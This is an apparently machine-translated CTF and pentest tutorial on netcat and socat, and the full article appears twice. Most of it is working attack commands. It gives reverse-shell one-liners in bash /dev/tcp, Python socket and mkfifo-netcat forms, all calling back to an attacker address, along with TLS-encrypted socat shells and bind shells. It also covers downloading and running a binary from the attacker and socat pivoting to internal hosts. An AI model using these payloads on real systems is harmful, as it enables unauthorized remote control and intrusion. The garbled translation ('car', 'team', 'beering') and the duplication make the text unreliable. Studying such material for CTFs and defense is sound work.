Three versions of netcat is the first thing to check
Netcat (nc) is a utility for reading and writing data through TCP and UDP connections. On Jeopardy-CTF it is literally the first team: the organizers raise a vulnerable binary, participants are given a string of connection of the species nc challenge.ctf.com 31337. Netcat creates a "pipe" between the keyboard and the stdin/stdout of the remote process - the one recruited in the terminal goes to the input of the program on the server, its output is returned back.
But before you copy commands from someone else’s writeup – check which version of the netcat is on the car. On Linux live three options with fundamentally different behaviors:
netcat-openbsd – standard for Debian and Ubuntu. Flag -e (performing the program after connection) does not support. Team nc -e /bin/sh IP PORT will issue an error, and it's not a exploit bug.
netcat-traditional – contains the same -e. In the source, this thing is called GAPING_SECURITY_HOLE The developers did not hide why it was necessary. Put separately.
ncat from the Nmap package – middle ground: -e works, there are SSL/TLS, proxy. On Kali Linux 2024+ stands by default.
Check the version: nc -h 2>&1 | head -1. The result determines which payloads will work. Typical error: copied nc -e /bin/sh from writeup for Kali, launched on Ubuntu - got an error and decided that the problem is in'e. The problem is the netcat version.
CTF connection and key flags
Basic team: nc challenge.ctf.com 31337. Flag -v (verbose) will show the status of the connection, -n disable DNS-resolving (faster when working with IP). For local debugging, the bundle is convenient: raise the binary through socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary, connect via nc -v localhost 1337 – and debug payload on your car.
Frequent confusion: gaining nc -lp 31337 challenge.ctf.com – put the flag -l (listen) where client connection is needed. The rule is simple: -l – listen to the incoming (setup netcat listener), without -l – connect to someone else’s service.
If you generate binary data (buffer overflow payload), it is more convenient to transfer via pipe: python3 exploit.py | nc challenge.ctf.com 31337. But for the diagnosis of network problems, a pure netcat for a pentester is indispensable – it shows connection errors directly, without pwntools abstractions.
Reverse shell via netcat: listener, payload, errors
Reverse shell – the target machine itself initiates an outgoing TCP connection to the attacker. According to MITRE ATT&CK : the launch of the shell through bash - Unix Shell (T1059.004, Execution), the reverse connection - Remote Access Tools (T1219, Command and Control), non-standard ports - Non-Standard Port (T1571, Command and Control).
Why on CTF: through RCE-vulnerability managed to execute code on the server, but one-line output is not enough. Need a full-fledged interactive shell - look for a flag, read configi, escalate privileges. Reverse shell netcat – bridge between “found a hole” and “working on the car.”
In network filtering scenarios (WAN-like pentests, corporate networks), firewalls block incoming connections on non-standard ports, but basic stateful firewalls often let outgoing traffic through – so reverse shell is preferable. In many CTF infrastructures (Docker network, VPN to host, attack-defense with direct L2/L3 access), the firewall is absent or minimal – there is practically no difference between bind and reverse shell. And here in corporate networks with NGFW and egress-filtering outgoing TCP-connections on non-standard ports are also detected and blocked application-aware rules, so that the naked TCP reverse shell there is not a panacea.
Setup netcat listener and port selection
On the attacking machine you start: nc -lvnp 4444. Flag selection: -l - listen, -v – verbose, -n – without DNS-resolving, -p 4444 – port of audition. The terminal will be “hung” in waiting – so it should be.
Wrap the listener in rlwrap nc -lvnp 4444 – rlwrap netcat wrapper will add arrows and team history (the package is put through sudo apt install rlwrap). Or use the socat as a listener: socat file:$(tty),raw,echo=0 tcp-listen:4444 – Shell will come immediately with basic interactivity.
Before starting your payload, be sure to check your IP. On HackTheBox: ip addr show tun0 | grep "inet " | awk '{print $2}' | cut -d'/' -f1. On the local network: ip addr show eth0.
Port selection: at the training stand - any free (444, 9001, 1337). On the pentest, the reverse shell is sometimes run on 80 or 443 — they can slip simple stateless firewall with port-based ACL. But in corporate networks with forward-proxy, DPI or TLS inspection, the naked TCP connect on port 443 (without valid TLS handshake) will differ from legitimate HTTPS traffic and is highly likely to be blocked.
Payload on target: bash, python, mkfifo
The most common single-line for Linux:
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1
Here bash -i launches an interactive shell, >& /dev/tcp/IP/PORT redirects stdout and stderr to TCP connection (built-in pseudo-construction bash, not real file in the file system; support is determined by the macro NETWORK_REDIRECTS in config-top.h when compiling and included in most distribution assemblies, except Debian/Ubuntu), 0>&1 Redirects stdin there.
The nuance on which stumbles: on Debian and Ubuntu /bin/sh - is this a dash, which /dev/tcp not in principle. If payload is performed through /bin/sh, wrap: bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'.
Python alternative (if bash is not available):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
The single-liner creates a TCP socket, connects to the listener, and redirects all I/O streams into the connection.
When neither bash /dev/tcp, no Python available — mkfifo reverse shell through the named channel. Works with most versions of netcat, including busybox nc (depends on build – some minimal BusyBox configurations are compiled without TCP support; check nc -h:
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.1 4444 > /tmp/f
Lash: mkfifo /tmp/f creates a FIFO file. cat /tmp/f reads from him the attacker's commands and transmits to the stdin /bin/sh. Shell output through pipe goes into nc, which sends it to the attacker through the socket. Answers from the socket are recorded > /tmp/f back to FIFO – closed cycle. rm /tmp/f cost first: if the file already exists as a regular file, mkfifo will return the mistake. If /tmp mounted with noexec or the record is prohibited - create a pipe in /dev/shm or home catalogue.
This approach is the most universal: mkfifo, cat, sh and nc is in most busybox builds (but nc may be absent from minimal configurations without CONFIG_NC).
Two classic mistakes
First: confused IP - instead of the address of the attacking machine, the target address is placed. The connection goes "to nowhere", the listener is silent, without the verbose flag it is unclear what is happening. Second: listener on port 4444, payload sent to 4445. On the CTF in a hurry, such typos burn tens of minutes. Habit: Before starting payload, check the IP and port in both locations. Always.
Stabilization of shell CTF: from dumb to full-fledged TTY
The reverse shell received is “dumb”. Ctrl+C kills the connection entirely instead of the current process. Tab is not working. Arrows print escape sequences instead of navigating history. su can not request password — no PTY for interactive input.
On CTF, this directly blocks the escalation of privileges: for privesc, you often need to run su (Requires PTY; according to GTFOBins, su starts the shell on behalf of another user with a known password), sudo -i to change context or edit a file in a text editor. All this works only after TTY stabilization.
Complete stabilization through stty - recommended method (pty shell upgrade):
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 120
After that, everything works: Tab, arrows, Ctrl+C interrupts the current process (and does not kill the session), su and sudo Correctly request a password through PTY. But stabilization only makes interactive input possible – if the password or sudo rights are unknown, it does not give privileges. Values rows and cols take from your terminal by team stty size – if not exposed, the output of long commands will “break” in width.
If Python3 is absent: python -c 'import pty; pty.spawn("/bin/bash")' (Python 2) or script -qc /bin/bash /dev/null (utility script There are almost any Linux.) Try it which python python2 python3 to understand what is available.
The mistake that everyone is coming: forget stty raw -echo before fg. Without this step, pty formally exists, but the signals are processed incorrectly - the shell is semi-stabilized and behaves unpredictably. If the terminal was accidentally broken by the team stty raw -echo, dial the blind stty sane and Enter – you won’t see the text, but the settings will recover.
When complete stabilization of shell CTF is not possible, rlwrap works as a minimum alternative: rlwrap nc -lvnp 4444 add a readline wrapper to the listener – the arrows and Ctrl+R will work. This is not a replacement for a full-fledged TTY (vim will not start), but to navigate the file system is enough.
Socat reverse shell and encryption via TLS
Socat is an extended version of netcat that works with arbitrary data flow pairs: socket-to-socket, file-to-socket, pty-to-socket. Two advantages of socat reverse shell over netcat: full-fledged PTY shell without post-connection upgrade and native TLS encryption.
Full TTY without stabilization
On the attacker: socat file:$(tty),raw,echo=0 tcp-listen:4444. On the target: socat tcp:10.10.10.1:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane. The result is a full-fledged interactive shell without dancing with python3 pty.spawn and stty raw -echo. Tab, arrows, Ctrl+C, vim and su work immediately. The beauty.
Flag selection on the target side: pty – to distinguish the pseudo-terminal, stderr – redirect the stderr into a connection, setsid – create a new group of processes (hell will continue to work after the client is disabled), sigint – transfer Ctrl+C to remote shell, sane – correct terminal settings. Details — in man socat.
Problem: socat is rarely pre-installed on target machines. The solution is to load a static binary. On the attacking raise the HTTP server: python3 -m http.server 80. On the target download: wget http://10.10.10.1/socat -O /tmp/socat && chmod +x /tmp/socat and launch. Precompiled static socat binary for different architectures rolls in CTF tools.
Socatcrypted shell — encryption via TLS
Socat is able to turn a connection in TLS - traffic is encrypted, which is critical when working on networks with IDS or if necessary to hide the contents from interception. Certificate Generation:
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
Listener on the Attacker: socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 FILE:$(tty),raw,echo=0. Connecting with Targeted: socat OPENSSL:10.10.10.1:4444,verify=0 EXEC:'bash -li',pty,stderr,setsid,sigint,sane. Flag verify=0 disables certificate verification - for CTF it is normal, for a real pentest it is worth using a valid sert.
TLS-wrap-wrap hides the content of network traffic from network-based detective, but does not affect the process-creation telemetry - the launch command socat OPENSSL:...EXEC:'bash -li'... can still be seen by EDR or audit rules (including lnx_shell_susp_rev_shells.yml from SigmaHQ, which works on command line patterns, not by network payload).
Ports through socat to CTF
The scenario from attack-defense: received a shell on the web server (10.0.0.5), and the database with flags lives on the internal host 192.168.100:3306 - the route to it is only from the web server. Directly from your network to the internal host do not reach. Classic port forwarding CTF.
Ports through socat on compromised host:
socat TCP-LISTEN:8888,reuseaddr,fork TCP:192.168.1.100:3306
The team listens to the web server port 8888 and redirects all traffic to the internal host. From the attacking machine connect to 10.0.0.5:8888 – and work with the base as with the local.
Flags: fork creates a new process for each connection (without it, the socat will process one connection and end with a surprise), reuseaddr allows you to reuse the port when restarting without waiting for TIME_WAIT. For multi-level beering (host A → B → C) on each intermediate host rises a similar relay - a chain of socat-proxy.
Netcat can also throw ports, but its pipe-designs are unidirectional and require mkfifo for a two-way exchange. Socat creates a full-fledged bidirectional proxy by one team – the ports through the socat is easier and more reliable.
Bind shell: when reverse is not an option
Bind shell netcat is the reverse scheme: the target machine opens the port and is waiting for the incoming connection. The attacker connects and receives a shell.
When bind shell is preferable: you control the target firewall (or there is none) and your car is behind the NAT without punches. In CTF is less common, but in Docker containers and in attack-defense - the working option.
Through netcat (if -e available): on target — nc -lvnp 4444 -e /bin/bash, on the attacking — nc -nv 10.10.10.2 4444. Without -e – similar mkfifo-design with listener:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l -p 4444 > /tmp/f
Through socat: on target — socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane, on the attacking — socat FILE:$(tty),raw,echo=0 TCP:10.10.10.2:4444. Get a full TTY immediately - the same advantages of the socat as in the reverse version.
Bind shell is easier to detect: the open port is visible when scanning, firewalls block incoming connections on non-standard ports. Reverse shell bypasses this by the outgoing connection – so it remains the standard for both CTF and pentests.
Netcat vs socat – when what to use
Criterion netcat (nc / ncat) Socat
Preset Yes (almost everywhere) Rarely
Flag - for Shell Depends on the version Not needed (EXEC
TTY out of the box No (stabilisation needed) Yes (pty)
TLS Encryption Only ncat (--ssl) Native (OPENSSL)
Ports offer Basic (pipe) Full-fledged bidirectional
Syntax Simple Requires habituation
Multiple Connections Through -k (not everywhere) Through fork
The first tool for a beginner Yeah After mastering the netcat
Practical rule: start with netcat – it is easier and more accessible on any system. Go to socat when you need TTY without stabilization, TLS encryption or full ports. On the CTF, both tools complement each other: netcat for quick connection to the service and to catch shell netcat in simple scenarios, socat for comfortable work and beering.
Netcat (nc) is a utility for reading and writing data through TCP and UDP connections. On Jeopardy-CTF it is literally the first team: the organizers raise a vulnerable binary, participants are given a string of connection of the species nc challenge.ctf.com 31337. Netcat creates a "pipe" between the keyboard and the stdin/stdout of the remote process - the one recruited in the terminal goes to the input of the program on the server, its output is returned back.
But before you copy commands from someone else’s writeup – check which version of the netcat is on the car. On Linux live three options with fundamentally different behaviors:
netcat-openbsd – standard for Debian and Ubuntu. Flag -e (performing the program after connection) does not support. Team nc -e /bin/sh IP PORT will issue an error, and it's not a exploit bug.
netcat-traditional – contains the same -e. In the source, this thing is called GAPING_SECURITY_HOLE The developers did not hide why it was necessary. Put separately.
ncat from the Nmap package – middle ground: -e works, there are SSL/TLS, proxy. On Kali Linux 2024+ stands by default.
Check the version: nc -h 2>&1 | head -1. The result determines which payloads will work. Typical error: copied nc -e /bin/sh from writeup for Kali, launched on Ubuntu - got an error and decided that the problem is in'e. The problem is the netcat version.
CTF connection and key flags
Basic team: nc challenge.ctf.com 31337. Flag -v (verbose) will show the status of the connection, -n disable DNS-resolving (faster when working with IP). For local debugging, the bundle is convenient: raise the binary through socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary, connect via nc -v localhost 1337 – and debug payload on your car.
Frequent confusion: gaining nc -lp 31337 challenge.ctf.com – put the flag -l (listen) where client connection is needed. The rule is simple: -l – listen to the incoming (setup netcat listener), without -l – connect to someone else’s service.
If you generate binary data (buffer overflow payload), it is more convenient to transfer via pipe: python3 exploit.py | nc challenge.ctf.com 31337. But for the diagnosis of network problems, a pure netcat for a pentester is indispensable – it shows connection errors directly, without pwntools abstractions.
Reverse shell via netcat: listener, payload, errors
Reverse shell – the target machine itself initiates an outgoing TCP connection to the attacker. According to MITRE ATT&CK : the launch of the shell through bash - Unix Shell (T1059.004, Execution), the reverse connection - Remote Access Tools (T1219, Command and Control), non-standard ports - Non-Standard Port (T1571, Command and Control).
Why on CTF: through RCE-vulnerability managed to execute code on the server, but one-line output is not enough. Need a full-fledged interactive shell - look for a flag, read configi, escalate privileges. Reverse shell netcat – bridge between “found a hole” and “working on the car.”
In network filtering scenarios (WAN-like pentests, corporate networks), firewalls block incoming connections on non-standard ports, but basic stateful firewalls often let outgoing traffic through – so reverse shell is preferable. In many CTF infrastructures (Docker network, VPN to host, attack-defense with direct L2/L3 access), the firewall is absent or minimal – there is practically no difference between bind and reverse shell. And here in corporate networks with NGFW and egress-filtering outgoing TCP-connections on non-standard ports are also detected and blocked application-aware rules, so that the naked TCP reverse shell there is not a panacea.
Setup netcat listener and port selection
On the attacking machine you start: nc -lvnp 4444. Flag selection: -l - listen, -v – verbose, -n – without DNS-resolving, -p 4444 – port of audition. The terminal will be “hung” in waiting – so it should be.
Wrap the listener in rlwrap nc -lvnp 4444 – rlwrap netcat wrapper will add arrows and team history (the package is put through sudo apt install rlwrap). Or use the socat as a listener: socat file:$(tty),raw,echo=0 tcp-listen:4444 – Shell will come immediately with basic interactivity.
Before starting your payload, be sure to check your IP. On HackTheBox: ip addr show tun0 | grep "inet " | awk '{print $2}' | cut -d'/' -f1. On the local network: ip addr show eth0.
Port selection: at the training stand - any free (444, 9001, 1337). On the pentest, the reverse shell is sometimes run on 80 or 443 — they can slip simple stateless firewall with port-based ACL. But in corporate networks with forward-proxy, DPI or TLS inspection, the naked TCP connect on port 443 (without valid TLS handshake) will differ from legitimate HTTPS traffic and is highly likely to be blocked.
Payload on target: bash, python, mkfifo
The most common single-line for Linux:
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1
Here bash -i launches an interactive shell, >& /dev/tcp/IP/PORT redirects stdout and stderr to TCP connection (built-in pseudo-construction bash, not real file in the file system; support is determined by the macro NETWORK_REDIRECTS in config-top.h when compiling and included in most distribution assemblies, except Debian/Ubuntu), 0>&1 Redirects stdin there.
The nuance on which stumbles: on Debian and Ubuntu /bin/sh - is this a dash, which /dev/tcp not in principle. If payload is performed through /bin/sh, wrap: bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'.
Python alternative (if bash is not available):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
The single-liner creates a TCP socket, connects to the listener, and redirects all I/O streams into the connection.
When neither bash /dev/tcp, no Python available — mkfifo reverse shell through the named channel. Works with most versions of netcat, including busybox nc (depends on build – some minimal BusyBox configurations are compiled without TCP support; check nc -h:
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.1 4444 > /tmp/f
Lash: mkfifo /tmp/f creates a FIFO file. cat /tmp/f reads from him the attacker's commands and transmits to the stdin /bin/sh. Shell output through pipe goes into nc, which sends it to the attacker through the socket. Answers from the socket are recorded > /tmp/f back to FIFO – closed cycle. rm /tmp/f cost first: if the file already exists as a regular file, mkfifo will return the mistake. If /tmp mounted with noexec or the record is prohibited - create a pipe in /dev/shm or home catalogue.
This approach is the most universal: mkfifo, cat, sh and nc is in most busybox builds (but nc may be absent from minimal configurations without CONFIG_NC).
Two classic mistakes
First: confused IP - instead of the address of the attacking machine, the target address is placed. The connection goes "to nowhere", the listener is silent, without the verbose flag it is unclear what is happening. Second: listener on port 4444, payload sent to 4445. On the CTF in a hurry, such typos burn tens of minutes. Habit: Before starting payload, check the IP and port in both locations. Always.
Stabilization of shell CTF: from dumb to full-fledged TTY
The reverse shell received is “dumb”. Ctrl+C kills the connection entirely instead of the current process. Tab is not working. Arrows print escape sequences instead of navigating history. su can not request password — no PTY for interactive input.
On CTF, this directly blocks the escalation of privileges: for privesc, you often need to run su (Requires PTY; according to GTFOBins, su starts the shell on behalf of another user with a known password), sudo -i to change context or edit a file in a text editor. All this works only after TTY stabilization.
Complete stabilization through stty - recommended method (pty shell upgrade):
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 120
After that, everything works: Tab, arrows, Ctrl+C interrupts the current process (and does not kill the session), su and sudo Correctly request a password through PTY. But stabilization only makes interactive input possible – if the password or sudo rights are unknown, it does not give privileges. Values rows and cols take from your terminal by team stty size – if not exposed, the output of long commands will “break” in width.
If Python3 is absent: python -c 'import pty; pty.spawn("/bin/bash")' (Python 2) or script -qc /bin/bash /dev/null (utility script There are almost any Linux.) Try it which python python2 python3 to understand what is available.
The mistake that everyone is coming: forget stty raw -echo before fg. Without this step, pty formally exists, but the signals are processed incorrectly - the shell is semi-stabilized and behaves unpredictably. If the terminal was accidentally broken by the team stty raw -echo, dial the blind stty sane and Enter – you won’t see the text, but the settings will recover.
When complete stabilization of shell CTF is not possible, rlwrap works as a minimum alternative: rlwrap nc -lvnp 4444 add a readline wrapper to the listener – the arrows and Ctrl+R will work. This is not a replacement for a full-fledged TTY (vim will not start), but to navigate the file system is enough.
Socat reverse shell and encryption via TLS
Socat is an extended version of netcat that works with arbitrary data flow pairs: socket-to-socket, file-to-socket, pty-to-socket. Two advantages of socat reverse shell over netcat: full-fledged PTY shell without post-connection upgrade and native TLS encryption.
Full TTY without stabilization
On the attacker: socat file:$(tty),raw,echo=0 tcp-listen:4444. On the target: socat tcp:10.10.10.1:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane. The result is a full-fledged interactive shell without dancing with python3 pty.spawn and stty raw -echo. Tab, arrows, Ctrl+C, vim and su work immediately. The beauty.
Flag selection on the target side: pty – to distinguish the pseudo-terminal, stderr – redirect the stderr into a connection, setsid – create a new group of processes (hell will continue to work after the client is disabled), sigint – transfer Ctrl+C to remote shell, sane – correct terminal settings. Details — in man socat.
Problem: socat is rarely pre-installed on target machines. The solution is to load a static binary. On the attacking raise the HTTP server: python3 -m http.server 80. On the target download: wget http://10.10.10.1/socat -O /tmp/socat && chmod +x /tmp/socat and launch. Precompiled static socat binary for different architectures rolls in CTF tools.
Socatcrypted shell — encryption via TLS
Socat is able to turn a connection in TLS - traffic is encrypted, which is critical when working on networks with IDS or if necessary to hide the contents from interception. Certificate Generation:
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
Listener on the Attacker: socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 FILE:$(tty),raw,echo=0. Connecting with Targeted: socat OPENSSL:10.10.10.1:4444,verify=0 EXEC:'bash -li',pty,stderr,setsid,sigint,sane. Flag verify=0 disables certificate verification - for CTF it is normal, for a real pentest it is worth using a valid sert.
TLS-wrap-wrap hides the content of network traffic from network-based detective, but does not affect the process-creation telemetry - the launch command socat OPENSSL:...EXEC:'bash -li'... can still be seen by EDR or audit rules (including lnx_shell_susp_rev_shells.yml from SigmaHQ, which works on command line patterns, not by network payload).
Ports through socat to CTF
The scenario from attack-defense: received a shell on the web server (10.0.0.5), and the database with flags lives on the internal host 192.168.100:3306 - the route to it is only from the web server. Directly from your network to the internal host do not reach. Classic port forwarding CTF.
Ports through socat on compromised host:
socat TCP-LISTEN:8888,reuseaddr,fork TCP:192.168.1.100:3306
The team listens to the web server port 8888 and redirects all traffic to the internal host. From the attacking machine connect to 10.0.0.5:8888 – and work with the base as with the local.
Flags: fork creates a new process for each connection (without it, the socat will process one connection and end with a surprise), reuseaddr allows you to reuse the port when restarting without waiting for TIME_WAIT. For multi-level beering (host A → B → C) on each intermediate host rises a similar relay - a chain of socat-proxy.
Netcat can also throw ports, but its pipe-designs are unidirectional and require mkfifo for a two-way exchange. Socat creates a full-fledged bidirectional proxy by one team – the ports through the socat is easier and more reliable.
Bind shell: when reverse is not an option
Bind shell netcat is the reverse scheme: the target machine opens the port and is waiting for the incoming connection. The attacker connects and receives a shell.
When bind shell is preferable: you control the target firewall (or there is none) and your car is behind the NAT without punches. In CTF is less common, but in Docker containers and in attack-defense - the working option.
Through netcat (if -e available): on target — nc -lvnp 4444 -e /bin/bash, on the attacking — nc -nv 10.10.10.2 4444. Without -e – similar mkfifo-design with listener:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l -p 4444 > /tmp/f
Through socat: on target — socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane, on the attacking — socat FILE:$(tty),raw,echo=0 TCP:10.10.10.2:4444. Get a full TTY immediately - the same advantages of the socat as in the reverse version.
Bind shell is easier to detect: the open port is visible when scanning, firewalls block incoming connections on non-standard ports. Reverse shell bypasses this by the outgoing connection – so it remains the standard for both CTF and pentests.
Netcat vs socat – when what to use
Criterion netcat (nc / ncat) Socat
Preset Yes (almost everywhere) Rarely
Flag - for Shell Depends on the version Not needed (EXEC
TTY out of the box No (stabilisation needed) Yes (pty)
TLS Encryption Only ncat (--ssl) Native (OPENSSL)
Ports offer Basic (pipe) Full-fledged bidirectional
Syntax Simple Requires habituation
Multiple Connections Through -k (not everywhere) Through fork
The first tool for a beginner Yeah After mastering the netcat
Practical rule: start with netcat – it is easier and more accessible on any system. Go to socat when you need TTY without stabilization, TLS encryption or full ports. On the CTF, both tools complement each other: netcat for quick connection to the service and to catch shell netcat in simple scenarios, socat for comfortable work and beering.